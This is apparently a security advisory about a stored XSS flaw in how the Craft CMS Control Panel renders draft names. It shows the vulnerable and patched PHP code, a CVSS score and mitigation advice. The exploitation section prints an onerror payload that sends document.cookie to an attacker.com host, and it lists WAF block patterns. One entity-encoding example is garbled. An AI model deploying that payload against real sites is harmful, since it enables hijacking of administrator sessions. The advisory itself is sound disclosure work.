GHSA-2RP4-X2J7-QMCC: Stored Cross-Site Scripting via Draft Names in Craft CMS Control Panel

Craft CMS is a widely used PHP-based content management system developed to create tailored digital experiences. Its administrative interface, known as the Control Panel, exposes a substantial attack surface via user-controlled parameters that populate listings, cards, and metadata grids. In particular, the system represents state variations of elements using small visual badges or chips to help editors identify entries in active editing stages.

A stored Cross-Site Scripting (XSS) vulnerability identified as GHSA-2RP4-X2J7-QMCC resides in the Control Panel helper component responsible for generating these visual labels. The flaw lies within the private method elementLabelHtml located in the src/helpers/Cp.php helper class. The method fails to sanitize user-supplied draft names prior to outputting them inside the administrative interface.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the payload persists in the database and executes inside the sessions of other Control Panel users, including administrators, the risk of escalation is significant. Any authenticated user with access to draft creation can inject arbitrary scripts to compromise highly privileged administrative sessions.

The technical root cause of GHSA-2RP4-X2J7-QMCC is the lack of proper encoding when rendering the $element->draftName property within the administrative template helper. The draft name property holds a string representation supplied by the content editor when saving a draft. Because this string is fully controlled by the client, it is classified as an untrusted data source.

The vulnerability manifests when the application attempts to build the HTML string for the draft state badge. To construct the container tag, the helper class calls a helper method from the underlying framework: Html::tag('span', $content, $options). This method is a direct wrapper around Yii 2 framework's yii\helpers\Html::tag() function.

In the Yii 2 framework, the $content parameter passed to the tag() helper is not automatically HTML-encoded. This design decision allows developers to pass pre-built, nested HTML nodes into container elements. Consequently, when the raw, unescaped $element->draftName value is passed as the content parameter, any HTML markup within the string persists intact within the generated template and is rendered directly inside the document object model.

Analyzing the unpatched implementation of src/helpers/Cp.php reveals how the unescaped input enters the rendering pipeline. The vulnerability is located inside the elementLabelHtml function around line 1150:

// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
    /** @var DraftBehavior&ElementInterface $element */
    $content .= Html::tag('span', $element->draftName ?: Craft::t('app', 'Draft'), [
        'class' => 'context-label',
    ]);
}

In this implementation, the code evaluates if the element is a draft, ensures it is neither provisional nor unpublished, and appends a span element. The second argument of Html::tag evaluates directly to the unescaped $element->draftName if present. If an attacker inputs <script>alert(1)</script> as the draft name, the server outputs <span class="context-label"><script>alert(1)</script></span>.

The official patch modified this block to explicitly encode the input variable:

// show the draft name?
if (($config['showDraftName'] ?? true) && $element->getIsDraft() && !$element->isProvisionalDraft && !$element->getIsUnpublishedDraft()) {
    /** @var DraftBehavior&ElementInterface $element */
    $content .= Html::tag(
        'span',
        $element->draftName ? Html::encode($element->draftName) : Craft::t('app', 'Draft'),
        ['class' => 'context-label'],
    );
}

By routing the property through Html::encode(), special characters are translated into secure entities (e.g., < becomes <). While this fix successfully neutralizes HTML execution inside standard document structures, developers must ensure that provisional or unpublished draft names are not rendered unescaped in other unpatched classes.

To execute this exploit, an attacker requires credentials to an account with permissions to edit or create entry drafts, such as an external contributor or standard content author. The attack is structured to exploit the implicit trust placed in draft parameters.

First, the attacker logs into the Control Panel and navigates to an entry interface. They create a draft and configure its name to include a typical image-based injection payload: <img src=x onerror="fetch('https://attacker.com/exfil?c=' + btoa(document.cookie))">. The database stores this malicious payload in the draft name field.

Second, the administrator logs into the system and requests the global entries directory or dashboard widget. The server invokes the elementLabelHtml helper to generate the listing badges. Because the browser interprets the unescaped payload within the administrator's context, the JavaScript executes, enabling the attacker to harvest the session identifier and bypass security controls.

The impact of this stored XSS is elevated due to its location inside the administrative backend of the application. The executed script inherits the full authorizations and session characteristics of the victim. If the victim is an administrator, the attacker gains complete control over the CMS installation.

Actions possible via administrative context execution include the creation of new users with administrator privileges, direct database query execution via exposed utility panels, and modification of system settings. Furthermore, an attacker can disable auditing mechanisms or inject malicious scripts into public-facing templates, establishing a path to compromise site visitors.

The calculated CVSS version 3.1 base score is 8.2 (High). The vector details are CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. The scope is rated as 'Changed' (S:C) because exploitation allows escaping the limited user space of an editor and running tasks within the administrative security context. Availability is unaffected, as the script does not crash the database or web services.

The permanent remediation for GHSA-2RP4-X2J7-QMCC is upgrading the Craft CMS codebase to version 5.10.8 or newer. Upgrades should be conducted via Composer to ensure dependencies and autoload tables update correctly.

If immediate system upgrades are restricted by change-management processes, several temporary defense-in-depth measures are available. Applying a comprehensive Content Security Policy (CSP) restricts the execution of unauthorized inline scripts. The policy should mandate script nonces or restrict execution to trusted origin servers, minimizing the threat of unescaped browser payloads.

Web Application Firewalls (WAFs) can also inspect incoming requests targeting draft updates. Rules should flag and block parameters matching typical execution events (e.g., <script>, onerror=, onload=). However, server-side code correction remains the only definitive resolution to address the root escaping issue.